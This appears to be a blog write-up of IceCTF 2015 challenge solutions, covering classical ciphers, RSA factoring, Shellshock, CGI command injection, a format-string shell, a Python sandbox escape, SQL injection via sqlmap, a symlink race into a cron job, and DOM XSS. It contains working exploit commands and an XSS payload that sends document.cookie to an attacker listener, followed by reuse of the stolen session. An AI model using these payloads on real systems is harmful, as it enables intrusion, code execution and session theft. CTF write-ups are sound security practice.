index search github twitter

ICEC.TF writeup

ROT13

$ python
Python 2.7.6 (default, Sep  9 2014, 15:04:36)

>>> import codecs
>>> codecs.encode('V srry yvxr guvf vf n tbbq cynpr gb fgber nyy zl frpher syntf. Vasnpg, urer\'f gur synt: ebg_13_vfag_frpher', 'rot13')
"I feel like this is a good place to store all my secure flags. Infact, here's the flag: rot_13_isnt_secure"

Cryptic Crypto

For substitution cipher: http://quipqiup.com/index.php

Statistics

#!/usr/bin/env python

from pwn import *
from numpy import mean
import re

def process(command, nums):
    try:
        converted = map(int, re.split(r'\s+', nums.rstrip()))
    except:
        pass

    if 'maximum' in command:
        return str(max(converted))
    if 'minimum' in command:
        return str(min(converted))
    if 'sum' in command:
        return str(sum(converted))
    if 'average' in command:
        return str(mean(converted))

r = remote('vuln2015.icec.tf', 9000)
t = Timeout()
t.timeout = 0.05

while True:
    nums = r.recvline()
    print nums
    sleep(0.05)
    command = r.recv()
    sleep(0.05)
    print command
    answer = process(command, nums)
    r.sendline(answer)

Ryan Gooseling

binwalk + scalpel (uncommenting jpg)

SHARKNADO!

root@kali32:~# tcpick -C -yU -r  sharknado.pcap  | grep -i admin
username=admin&password=IAmALittlePasswordShortAndStout

Farm Animals

https://en.wikipedia.org/wiki/Pigpen_cipher

RSA

N = 0xc8283502d6ed4c723078d5ddd299c67deaef48ca2d8cdce64f99fe50ee5705705ab25c220ba6a1521c068016aab51f5139962bf8362f8b5ea157fc3ecefebe6dec216ba655c3f2b1538907182760ffde203bbed8e0a41bc833e94369e631b7a559f71e7ed773f029b82f46fbb0842f898048e45e15330b6671a8dbda59b025eb
e = 65537
p = 0xf51d59442bd9c0e3d7e51e54ae8c46a3e1bce33a1b38b4fbea26803de37475b0d1702431966d058327a629ce3af3321b06e6be4a9c9671e02f488405c9e91c71
q = 0xd10bbefe61fe293d45a0bd3266429c461977237838677bee06fe3ed051eb0b36828e627126239121913d4324029fb601b456c33863c9fa7bfa0ce85ff427861b
d = 0xd490debb8545be4a06f04d30a6d868d4910c4e6168be905a876f23870f979b4f17031495938a0309107a56cdbbbd5ee5042357cee2bcdb6644330cd02744a336779ca1f2f5fed59951c34c216577870841cb50e6a01be8f2e23591db4e8df1551d4245049c0996a887f82636a2bb5aff48c42ed83be4f2c218cd83307395941
c = 0x1dca210d36fb700e0fe41e951216b89c4cf10a4d4feeeac92722184a8d1e1306da36002bef27e9f0ec3b3256e821cfd0f7220930ac3d71a9fb981e9ad5ef3713b57ec78bfd4a96d53c7b0ad9e3698deef5ba10486da5936b60768c7275bb57ee67bc832ad954ee0c38124bc9518bf84d2fe76b16036d51071d307d6d23fe19ad

decrypted = Mod(c, N) ** d
# encrypt: c = pow(m, e, N)
# decrypt: m = pow(c, d, N)

flag = hex(Integer(decrypted)).decode('hex')
print(flag)
$ ./sage /tmp/rsa1.sage
flag_dont_you_just_love_rsa

Shocked!

$ ssh -p 2022 ctf@vuln2015.icec.tf '() { :;}; cat flag.txt'
ctf@vuln2015.icec.tf's password:
The flag is: shocking_the_shellz_is_fun

Hackers in disguise

I have found the solution for the almost same challenge, more information abouth the vulnerability here.

root@kali32:~# vector=$(ruby -e 'print ";ls -la|".split(//).map{|x| "%" + x.ord.to_s(16)}.join')

root@kali32:~# curl "http://disguise.icec.tf/disguise.cgi?Hacker=${vector}&Mustache=3.bmp&Shades=3.bmp"
@MPAp)    xxx007 ECRT_KY_19DF8876272F766DE58C5EA5
rwx-xrx 2100 101  096Aug 6 2:4 cs
-rxr-r-x1 101 001  47 Ag   1249 isgisecgi-rwr----  101 101 514 Au  614:2 dsguse.tmldrwr-x-x  101 101 409 Au  612:9 fnt
rw---r- 1100 101 5738Aug 6 2:4 h1bmp-rwr----  101 101 473 Au  612:9 h.bm
-r-r-r--1 101 0015478 Ag   1249 3.bp
-wxrxr- 1 001100   44 ug 6 1:29indx.ci
-w-r-r- 1 001100  201 ug 6 1:13indx.hml
rwx-xrx 2100 101  096Aug 6 5:1 js-rwr----  101 101 473 Au  612:9 m.bm
-r-r-r--1 101 0015478 Ag   1249 2.bp
-w-r-r- 1 001100 5438 ug 6 1:49m3.mp
rw---r- 1100 101 5738Aug 6 2:4 s1bmp-rwr----  101 101 473 Au  612:9 s.bm
-r-r-r--1 101 0015478 Ag   1249 3.bp
-w-r-r- 1 001100 5438 ug 6 1:49s4.mp

root@kali32:~# curl "http://disguise.icec.tf/disguise.cgi?Hacker=${vector}&Mustache=${vector}&Shades=${vector}"
total 604
drwxr-xr-x 5 1001 1001  4096 Aug  6 23:21 .
drwxr-xr-x 6 1001 1001  4096 Aug  6 13:28 ..
-rw-r--r-- 1 1001 1001    38 Aug  6 14:07 SECRET_KEY_159DF48875627E2F7F66DAE584C5E3A5
drwxr-xr-x 2 1001 1001  4096 Aug  6 12:49 css
-rwxr-xr-x 1 1001 1001   437 Aug  6 12:49 disguise.cgi
-rw-r--r-- 1 1001 1001  5140 Aug  6 14:12 disguise.html
drwxr-xr-x 3 1001 1001  4096 Aug  6 12:49 font
-rw-r--r-- 1 1001 1001 54738 Aug  6 12:49 h1.bmp
-rw-r--r-- 1 1001 1001 54738 Aug  6 12:49 h2.bmp
-rw-r--r-- 1 1001 1001 54738 Aug  6 12:49 h3.bmp
-rwxr-xr-x 1 1001 1001   144 Aug  6 13:29 index.cgi
-rw-r--r-- 1 1001 1001  2801 Aug  6 14:13 index.html
drwxr-xr-x 2 1001 1001  4096 Aug  6 15:16 js
-rw-r--r-- 1 1001 1001 54738 Aug  6 12:49 m1.bmp
-rw-r--r-- 1 1001 1001 54738 Aug  6 12:49 m2.bmp
-rw-r--r-- 1 1001 1001 54738 Aug  6 12:49 m3.bmp
-rw-r--r-- 1 1001 1001 54738 Aug  6 12:49 s1.bmp
-rw-r--r-- 1 1001 1001 54738 Aug  6 12:49 s2.bmp
-rw-r--r-- 1 1001 1001 54738 Aug  6 12:49 s3.bmp
-rw-r--r-- 1 1001 1001 54738 Aug  6 12:49 s4.bmp

root@kali32:~# vector=$(ruby -e 'print ";cat SECRET_KEY_159DF48875627E2F7F66DAE584C5E3A5|".split(//).map{|x| "%" + x.ord.to_s(16)}.join')
root@kali32:~# curl "http://disguise.icec.tf/disguise.cgi?Hacker=${vector}&Mustache=${vector}&Shades=${vector}"
flag_why_did_we_stop_using_perl_again

Fermat

[ctf-7119@icectf-shell /home/fermat]$ ./fermat "$(python -c 'print "\x2c\xa0\x04\x08       %135$1326x%135$n"')"
, sh-4.2$ id
uid=1148(ctf-7119) gid=1021(fermat) groups=1002(ctf) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2$ cat flag.txt
flag_fermats_last_exploit

Barista

Similarly like in Hack.lu CTF 2014: Objection, we overwroted the getter function for is_admin:

Vulnerable line:

    # Check that the coffee exists
    if (coffee[name]? and
            name not in ["rebrew", "cleanup"] and
            typeof coffee[name] is "function")
http://coffee.icec.tf/__defineGetter__?args=is_admin
...
undefined + flag_i_dont_even_like_coffee_but_i_love_coffeescript

PyShell

Similar as here: https://hexplo.it/escaping-the-csawctf-python-sandbox/

$ nc vuln2015.icec.tf 8000
Welcome to my Python sandbox! Enter commands below! Please don't mess up my server though :/
>>> [].__class__
>>> [].__class__.__base__
>>> print([].__class__.__base__.__subclasses__())
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
>>>
>>> print([].__class__.__base__.__subclasses__().index(file))
Traceback (most recent call last):
  File "./problem.py", line 37, in <module>
    exec data
  File "<string>", line 1, in <module>

$ nc vuln2015.icec.tf 8000
Welcome to my Python sandbox! Enter commands below! Please don't mess up my server though :/
>>> f = [].__class__.__base__.__subclasses__()[40]
>>> f('./flag.txt').read()
>>> print(f('./flag.txt').read())
The flag is: not_your_average_python

Entropy

We have the python daemon, that uses only a few primes (they are stored in text file and keys are generated almost instantly).

In the challenge information is provided public key (N, e = 257) and encrypted data c, that we want to decrypt:

27134539740327372277016096853435890120677470119612424124869327819124029912990004448750434621403418542927781194142877244503562989100969794546726189679434973051199593686324469650695332464843866317242833309989642047675838763945117051708685755516681732600344477784607819725824461400081264484810830802070160626494750360668977494105105567529042035493471083490134591723283745502956169145544321430921932449188900918387414900628355258180161727963712905333194811283381016749488185293777854150520335564364850062292655420041681761888247884838176822010929853437116012249823316297480912216876461230774949536318942112650569572741229

21833706562424363526758144595528139378681868374355612924041399984966569709971402846162543351650992393259625378308766376918010037809411868937951264540233547911616955412668210947953666054174014762004709853178682474885483298510115565509957726137783160293746001217719965940995344574478555209182195121905187551848171141764244076996783305517744086819333014890572868236912842045064036434736842358851218773925473983781900791489911542650152543840593725659311233554355918780080457663947286285012785980160999737442977651996204521503213470778632213967510707131516893141063362768682472114553632059355826524352103299651991899005722

After fetching a few public keys, using information from the presentation and source, we want to find the common primes.

def product(X):
        if len(X) == 0: return 1
        while len(X) > 1:
                X = [prod(X[i*2:(i+1)*2]) for i in range((len(X)+1)/2)]
        return X[0]

def producttree(X):
        result = [X]
        while len(X) > 1:
                X = [prod(X[i*2:(i+1)*2]) for i in range((len(X)+1)/2)]
                result.append(X)
        return result

def remaindersusingproducttree(n,T):
        result = [n]
        for t in reversed(T):
                result = [result[floor(i/2)] % t[i] for i in range(len(t))]
        return result

def remainders(n,X):
        return remaindersusingproducttree(n,producttree(X))

def batchgcd_simple(X):
        R = remainders(product(X),[n^2 for n in X])
        return [gcd(r/n,n) for r,n in zip(R,X)]

def batchgcd_faster(X):
        prods = producttree(X)
        R = prods.pop()
        while prods:
                X = prods.pop()
                R = [R[floor(i/2)] % X[i]**2 for i in range(len(X))]
                return [gcd(r/n,n) for r,n in zip(R,X)]

# first line is our public key
print batchgcd_simple(
        [0xd6f26be4d627833b8eb7886d4234a99a391f2b14dfed53decda8a238043c8590ebd2561bebf508626fea71e1c5b912a3e6e1b1a1ad378ed778edd4c6d1269b51d263525b0850e95c5dc355846705f231c2a38744b6fea488df00cc23d9977cb6bfbde80b43314c09d3d65ffa48f566acce4bfc4c9f9d1acb4601af41f15957add7601d4828e2f30be1b2f98d4cba2f81e25738d5ba39e842372b301d1959ed8f704e457bc0f88882c8a3a9817a60d0b5960fe5f6ae17b1b2794ca51f0330c531fc5c19d8330341c7228cf794c0769fc91030f9b33855421ce3e78291d740754c91c2ecf591d0649875b1d6d18b03558b693d1742aadb41b1c949ba4fbbd8f06dL,
        0xd8b23baf97e9cf1faa4c6918b84e51b53e5ce25d93a39cbc4ac033bfb2a91110ee8ea872f3151f936f4b42c0b16065dc39d813a53914c5fccf86c3385e215fea90c7d2df09f62527b3a723baf0ef2937056cd8b02cd519b6da339a9d4744a6b5112aa5b49238bd52c56300dca61cfe3bc6401e2b6cbbce73dfab863ce847180c9a57a5ea80c40b0d164ba99ce96409b816b01574ecf938d3f2fe9f164ad6182c7e46a85127dd1faa7e35588fabfd155cf432514d6a3a5fc59ab55dd9a6923572f6de43745254ce8829f2c3f23198b364502d6173efc7fa714c39551e5551a2e79624f26da82e4a41ab2ea1607098f93ed62743e392d23694ae16ba5fec8aacf5, \
        0xe5ea8b1bcf376af0c1917be870fa147eab872224c21c9cfe87498ee7fd311c72fca829cf10b418e1ff3820237796010131e39982a79f947c4dfd923b2c999acaa39525e712b92b10563a558103bd9836d811cb7c163705ce87b0c05d3805479868626f2d1723d85a52fb06de7c9a073e697fd05137fa0ed135fba7bd35bc5d12b2415ffbd7505966dd05d1e39202275be3125fe5a5cdb192e9d616ea2009df88b632360aeb8a9a460b5dbbc4e189857d39aace108e6bd1e77f2113523544a35db6b71ba6506f585d7deed09218f7f11ec75007bbbfcafc0ac0853aeae5eb1db2e092eba82827ff38760983cf6d5e20531222a3e8826b8f751f50fb78e34437bd, \
        0xc439ed4afac3a78066a3a52202541480b3a400b4fb5710d0032cb23cf5570ef858735d5b6e41393f3abadee2241614a666da9ff98585f32deb82e64adf94da4627f515d7e2001b78157473266bada53f069d8930761a9b56b74153f43607b38f75642a3cdcdd8c299bae8275acbf8041edab88153a7c917b80b57d722882afe3988d93f9e479352a0c87fa04f49175446f4360ed011a99172c4038629f5030a2f6a2801fe338ee323fd760dfda8a4b245126c8ce62c1dc2bc1a47ba14d95f99d34ae566c5b1779134429c083913405040a58593cfb08b4f5a19f6e4c471a1a272321423784e8fe7611a18a0369b14dbd532195e1e81e74c739fb5eb291197b21,
        0x9d53d7b6c1a3ef1a62a33100de2e96ae8d80642b35cb525f4b7a1d0f7336037bb2c1cc73cbfe4dbc4fe7aa61c9afc78b8f5f78d2a851a47a029b2c74117c2022c875093a8243f500ed5c096f90022b6030e0a1ecbef352504e0b447df09eeebb8c26676b8c4615b8f05b96c884fce4e9e8149e520e65bce6e5e0f8a60c2fa436003cc53fd768ae8b67c1b753569b7c8888aff4a365c027dab77c699d687aea9e606b82238e760f409b2bae7f857c6d52b61e11e964f4cf2de08841c3e13cfa68dc3fd9e60cd020cc078517acd95c51cdc39fdeca354a051cdac8e9e81917808de76830e60d6be18f014221ba5b61e701ea7e8f3240c2182f14bbd89afe94f2dd,
        0xd5b9121c986c03839a6f8f5633e8be53539c7c4b4ea227353dd347b1846d4210300a0646ec6644b3e0926c0e12b9db551685fea310dfd124778893f3a919a3e9a6957e797e8d417c749d295817f99f76ea7e3ac829ac7497fb66673f5e5de453354f2b252769ea71305b6332ba502538ca6ef9023166da519f826a61978f89cadaa3c7b3aba8acc430d7918ea84158eff4c04bdd6a09bf1f358c6e42d101e6cdb205a70ad38f546b7efec13c4b1d7c28c89934ab4ee139117a2c804ac16ad79c435e290da270fb9e2b66e1b7a28f3ff18e0295138946291f81c9088aec97c2991ddd1a641b98685e8e4aecf8d3a41c766f674d8fb44d0fc4fb0770be3c4f7bd1,
        0x99f5b356fe0ee4d5f2547c07e7d37eaf451ff54663a4623527ffe9cced2924bc3da53384dd609fd4c80cb76893ef1ffc7b45c1226449e665236d9e9c83ca7adea9c4b0331217af4c17ec4152b288a83dbc4b9c60f22d7a2f49f901c5e09f99fa834923505954ef9fc48b11a97a58a0fce38f9d980a017b5aa005d81c85be0fea138476540812a602dc5e5ca4dd7ef411a185dad805f43ae3431b627c88b8f1d8e59c363a70c17c3b1ea9e25a25a1b8e935b1c7c5356103a309db094b5454f281f2cce84a0e981a5ea2e5e34e7eac3fcaeb5eec48c5583bf35ef1e98967111472b8055847c5cc498d3807cb97ae0234e25dc016e47ae9b765b9d0db9998882cb9,
        0xe02e1fb7464295424b8781f2cd600ddbbd57c785a45c9ca29350a3016afd5f7976f5bd475b101cd1072e21dd5c864a9f9419a2a0ac3b68f4f0649d28771597ae5eb906600636f4cc9ca0357bb7be85bc9593ad5814a4ed2964367ad9a9f90974b6172973f6c27d6d7e9b14f880ca12eb25ecab5d60bc4b0b2e4bbfa3ad6214b8b1d0fa250dc8e20d433b20a8d9e90cb3532e50f2ef0c8a693e9e9443d3cd4b83308144c5bd448865649e74ae37e5fcefaf0ee57096959a6fa4fcbe65f4bec364a7defb5329a8da93977fa121c51b13a3772e79b8dba393a4156611fcd1795e2fceb3d0e6b5facb7b7341b2da63caa167307060797b274e8812499fb9c8160375
])
$ ./sage /tmp/entropy.sage
[174530909087014716115113368365080232735669872304657503181040399565409510763517957093840008899869814249462343244523157586287119841547254547568826577936318168641266138819124651861211744771083886615905360155208773780746504047920299202268833418863547500887620241823421979548067336758574000690763023308648146612727, 174530909087014716115113368365080232735669872304657503181040399565409510763517957093840008899869814249462343244523157586287119841547254547568826577936318168641266138819124651861211744771083886615905360155208773780746504047920299202268833418863547500887620241823421979548067336758574000690763023308648146612727, 170316696567110693907901665907921187512526625561793633660441726765261555099366043994312802446177850632556845607014968778372160037033301431637986429627378357802441334583859591255752767815253729641791129186620238677327493472217907151892848591863869105693075425376910389368764492968308424836810176627203201410299, 170316696567110693907901665907921187512526625561793633660441726765261555099366043994312802446177850632556845607014968778372160037033301431637986429627378357802441334583859591255752767815253729641791129186620238677327493472217907151892848591863869105693075425376910389368764492968308424836810176627203201410299, 1, 1, 1, 1]

Because the 174530909087014... value is divisible by our public key, we were able to factor it and we got q = N / p.

N = 27134539740327372277016096853435890120677470119612424124869327819124029912990004448750434621403418542927781194142877244503562989100969794546726189679434973051199593686324469650695332464843866317242833309989642047675838763945117051708685755516681732600344477784607819725824461400081264484810830802070160626494750360668977494105105567529042035493471083490134591723283745502956169145544321430921932449188900918387414900628355258180161727963712905333194811283381016749488185293777854150520335564364850062292655420041681761888247884838176822010929853437116012249823316297480912216876461230774949536318942112650569572741229
c = 21833706562424363526758144595528139378681868374355612924041399984966569709971402846162543351650992393259625378308766376918010037809411868937951264540233547911616955412668210947953666054174014762004709853178682474885483298510115565509957726137783160293746001217719965940995344574478555209182195121905187551848171141764244076996783305517744086819333014890572868236912842045064036434736842358851218773925473983781900791489911542650152543840593725659311233554355918780080457663947286285012785980160999737442977651996204521503213470778632213967510707131516893141063362768682472114553632059355826524352103299651991899005722
p = 174530909087014716115113368365080232735669872304657503181040399565409510763517957093840008899869814249462343244523157586287119841547254547568826577936318168641266138819124651861211744771083886615905360155208773780746504047920299202268833418863547500887620241823421979548067336758574000690763023308648146612727
q = N / p
e = 257

phi = (p - 1) * (q - 1)
bezout = xgcd(e, phi);
d = Integer(mod(bezout[1], phi))
# mod(d * e, phi) == 1

decrypted = Mod(c, N) ** d

flag = hex(Integer(decrypted)).decode('hex')
print(flag)
./sage /tmp/solution.sage
flag_keep_the_prime_count_high

Authorize

Time-delay injection in register field, using POST method:

<?php
include "config.php";
$con = mysqli_connect($MYSQL_HOST, "authorize", "authorize", "authorize");
$username = $_POST["register"];
$query = "SELECT * FROM users WHERE username='$username'";
$result = mysqli_query($con, $query);

if (mysqli_num_rows($result) !== 0) {
  die("Someone has already registered " . htmlspecialchars($username));
}

die("Registration has been disabled.");
?>

To solve it quickly, we used sqlmap:

# sqlmap  -u "http://web2015.icec.tf/authorize/" --forms -D authorize -T users --dump

...
Database: authorize
Table: users
[1 entry]
+----+----------+-----------------------------+
| id | username | password                    |
+----+----------+-----------------------------+
| 1  | admin    | TogetherW3CanChangeTheWr0ld |
+----+----------+-----------------------------+
Logged in!

Your flag is: flag_binary_search_those_credentials

Elevate

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

int read_password(FILE *file, char *password, size_t n) {
    fgets(password, n, file);
    password[strcspn(password, "\n")] = '\0';
}

void elevated_shell(){
    gid_t gid = getegid();
    setresgid(gid,gid,gid);
    fflush(stdout);
    system("/bin/bash");
}

void regular_shell(){
    gid_t gid = getgid();
    setresgid(gid,gid,gid);
    fflush(stdout);
    system("/bin/bash");
}

int main(int argc, char **argv){

    char flag[100];
    char password[100];
    FILE *file;

    printf("Hi! Welcome to my secure shell software!\n");

    // Read in the root password
    file = fopen("flag.txt", "r");
    if(file == NULL) {
        printf("FAIL: Failed to open the password file\n");
        return -3;
    } else {
        read_password(file, flag, sizeof(flag));
    }

    // Read in the user's password
    printf("Please enter the password: ");
    fflush(stdout);
    read_password(stdin, password, sizeof(password));


    if(strcmp(flag,password) == 0) {
        printf("Correct! Here's an elevated shell :)\n");
        elevated_shell();
    } else {
        printf("Incorrect! No elevated shell for you >:)\n");
        regular_shell();
    }
}

Obviously, the flag.txt file is read, but from current working directory.

Solution:

[ctf-7119@icectf-shell /home/elevate]$ cd /tmp
[ctf-7119@icectf-shell /tmp]$ mkdir .sine
[ctf-7119@icectf-shell /tmp]$ cd .sine
[ctf-7119@icectf-shell .sine]$ echo 1337 > flag.txt

[ctf-7119@icectf-shell .sine]$ /home/elevate/elevate
Hi! Welcome to my secure shell software!
Please enter the password: 1337
Correct! Here's an elevated shell :)

[ctf-7119@icectf-shell .sine]$ cat /home/elevate/flag.txt
flag_c21f22c6ff839828124be4f38677f7cf

Supernote

Exploitable code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <pwd.h>
#include <curl/curl.h>

char *gethome() {
    return getpwuid(getuid())->pw_dir;
}

char *get_temp(){
    char *fname = tempnam(gethome(), "ctf1_");
    struct stat buf;
    if(stat(fname, &buf) >= 0) {
        fprintf(stderr, "Temporary file exists!\n");
        exit(1);
    }
    fprintf(stderr, "Temporary file is %s\n", fname);
    return fname;

}
void upload_note(char *email, char *name, char *msg) {
    CURL *curl;
    CURLcode res;
    char buf[1024];
    snprintf(buf, sizeof(buf), "email=%s&name=%s&msg=%s", email, name, msg);

    curl_global_init(CURL_GLOBAL_ALL);

    curl = curl_easy_init();
    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "http://web2015.icec.tf/supernote/index.php");
        curl_easy_setopt(curl, CURLOPT_POSTFIELDS, buf);

        res = curl_easy_perform(curl);
        if(res != CURLE_OK) {
            fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
            exit(1);
        }

        curl_easy_cleanup(curl);
    }
    curl_global_cleanup();
}
void write_note(char *fname, char *str) {
    FILE *fd = fopen(fname, "w");
    fputs(str, fd);
    fclose(fd);

    // Test version, keep things clean
    unlink(fname);
}
int main(int argc, char **argv){
    char email[80];
    char name[80];
    char contents[500]; // That's a bit much, don't you think?
    char *ptr;
    char *tmpfile = get_temp();
    printf("Welcome to SuperNote v1.1.1.1.1.1.1.1.1.1. We're still in beta, so please excuse some bugs.\n");
    printf("Please enter your email address: ");
    fgets(email, sizeof(email), stdin);
    email[sizeof(email)-1] = '\0';
    email[strlen(email)-1] = '\0';
    printf("Please enter your name: ");
    fgets(name, sizeof(name), stdin);
    name[sizeof(name)-1] = '\0';
    name[strlen(email)-1] = '\0';
    printf("Enter the note that you would like to save: ");
    fgets(contents, sizeof(contents), stdin);

    // Validate the email securely
    int i=0;
    ptr = strtok(email, "@");
    while(ptr != NULL) {
        i++;
        ptr = strtok(NULL, "@");
    }
    if(i != 2){
        fprintf(stderr, "Invalid email!\n");
        exit(1337); // huehue
    }
    if(strcmp(name,"Josh\n") == 0) {
        fprintf(stderr, "Go away Josh\n");
        exit(1);
    }

    upload_note(email, name, contents);

    write_note(tmpfile, contents);

    printf("Note saved locally.\n");
    return 0;
}

There is a race condition, we can create a symlink pointing to arbitrary file, then our data is stored here, finally the symlink is removed. The cron.README hints us to use python script for executing .task(s). Moreover cron needs permission for writing to our directory.

[ctf-7119@icectf-shell /tmp]$ mkdir .sine
[ctf-7119@icectf-shell /tmp]$ chmod 777 .sine

[ctf-7119@icectf-shell /tmp]$ /home/supernote/supernote
Temporary file is /home_users/ctf-7119/ctf1_yc9KGB
Welcome to SuperNote v1.1.1.1.1.1.1.1.1.1. We're still in beta, so please excuse some bugs.
Please enter your email address: a@test.com
Please enter your name: ^Z
[1]  + 19597 suspended  /home/supernote/supernote

[ctf-7119@icectf-shell /tmp]$ ln -s /home/supernote/cron.d/1337.task /home_users/ctf-7119/ctf1_yc9KGB

[ctf-7119@icectf-shell /tmp]$ fg
[1]  + 19597 continued  /home/supernote/supernote
name
Enter the note that you would like to save: import shutil; import os; d='/tmp/.sine/flag.txt'; shutil.copy('/home/supernote/flag.txt', d); os.chmod(d, 0777);
Note saved.
Note saved locally.

[ctf-7119@icectf-shell /tmp]$ date
Sun Aug 16 11:38:45 UTC 2015

[ctf-7119@icectf-shell /tmp]$ date
Sun Aug 16 11:39:13 UTC 2015

[ctf-7119@icectf-shell /tmp]$ cd .sine

[ctf-7119@icectf-shell /t/.sine]$ ls
flag.txt

[ctf-7119@icectf-shell /t/.sine]$ cat flag.txt
flag_keep_your_files_close_and_your_tempfiles_closer

Because I was interested also what exactly is executing via cron, using the same technique, I did:

Enter the note that you would like to save: from os import system; system('cp -r /usr/local/etc/supernote/* /tmp/.sine/; chmod 777 -R /tmp/.sine');
Note saved.
Note saved locally.

[ctf-7119@icectf-shell /t/.sine]$ date
Sun Aug 16 11:48:59 UTC 2015

[ctf-7119@icectf-shell /t/.sine]$ cat supernote.sh
#!/bin/bash

for file in /home/supernote/cron.d/*.task; do
    /usr/bin/python $file
    rm -f $file
done

rm -rf /home/supernote/cron.d/*
rm -rf /home/supernote/cron.d/.* 2> /dev/null

Wiki & The Furious

DOM Based XSS challenge. The vulnerable code:

var showComment = function(){
    var hash = decodeURIComponent(location.hash); // Comment ID's can be pretty wierd
    var $comment = $(hash);        
    if($comment.length < 1) 
        return;
    $("html,body").animate({
        scrollTop: $comment.offset().top
    }, 2000);
    $(".comment").css("background-color", "");
    $comment.css("background-color", "#eee");

}
$(document).ready(function(){
    $(window).bind("hashchange",showComment);
    showComment();
});

The injected javascript code could be evaluated here:

    var hash = decodeURIComponent(location.hash); // Comment ID's can be pretty wierd
    var $comment = $(hash);

Test URL:

http://furious-wiki.icec.tf/post/o1S9UqFJ3vFD9aVwkABIal78TMxcB2ur/title#<img src="/" onerror="alert(String.fromCharCode(39,88,83,83,39));">

We need to deliver the payload to admin:

POST /report HTTP/1.1
Host: furious-wiki.icec.tf
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://furious-wiki.icec.tf/post/o1S9UqFJ3vFD9aVwkABIal78TMxcB2ur/title
Cookie: PHPSESSID=s%3Ag26_c-cLthzShO_xncYWAI0qp-OtiZm4.jY5w%2F4cH7K%2B18sNhcK22aAb5%2FueHPymlOOdtyKkdhp4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

user=o1S9UqFJ3vFD9aVwkABIal78TMxcB2ur&post=title&comment=title#<img+src=x+onerror=this.src='http://xxxxxxx:3337/?'%2Bdocument.cookie>
$ nc -l -p 3337
GET /?PHPSESSID=s%3A7ZeQMpUDARFuj_7Bmu2izwxQQnE7kmsz.sQblDjvm9VN7aEYtrmpYoB8N7HeAfajhPwFMI1LkrjM HTTP/1.1
Referer: http://localhost:3000/post/o1S9UqFJ3vFD9aVwkABIal78TMxcB2ur/title
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.0.0 Safari/538.1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: xxxxxxx:3337

After setting cookie to the value s:NO7VjJneMo5ArzEcrwTUXMIR2W9A05RU.Xg8/oyINQGJh09tP234WRlXFaE3NsBEeOHFRyN2FmCo, we was able to read the flag: flag_so_simple_yet_so_hard .

What

Simple RE challenge. There is a binary without source code, performing a several checks:

# Number of command line arguments should be 2
=> 0x80486b2:	cmp    DWORD PTR [ebp+0x8],0x3 

# First argument should be 'ausgeschnitzel'
=> 0x80486c5:	repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x80486c7:	seta   dl
   0x80486ca:	setb   al
   0x80486cd:	cmp    dl,al

# Second argument should be 'flugelfragen'
   0x80486de:	repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x80486e0:	seta   dl
   0x80486e3:	setb   al
=> 0x80486e6:	cmp    dl,al

gdb-peda$ set args ausgeschnitzel flugelfragen

# There is another check for env variable 'AUTH':
gdb-peda$ set environment AUTH = foo

=> 0x80485aa:	call   0x8048440 <__isoc99_sscanf@plt>
   0x80485af:	cmp    eax,0x2
Guessed arguments:
Guessed arguments:
arg[0]: 0xbfc62e5f --> 0x6f6f66 ('foo')
arg[1]: 0x8048814 ("%[^/]/%[^/]/")
arg[2]: 0xbfc620b0 --> 0xb77d1b58 --> 0x8048301 ("GLIBC_2.0")
arg[3]: 0xbfc62030 --> 0x8048200 --> 0x39 ('9')

# buffer overflow: 
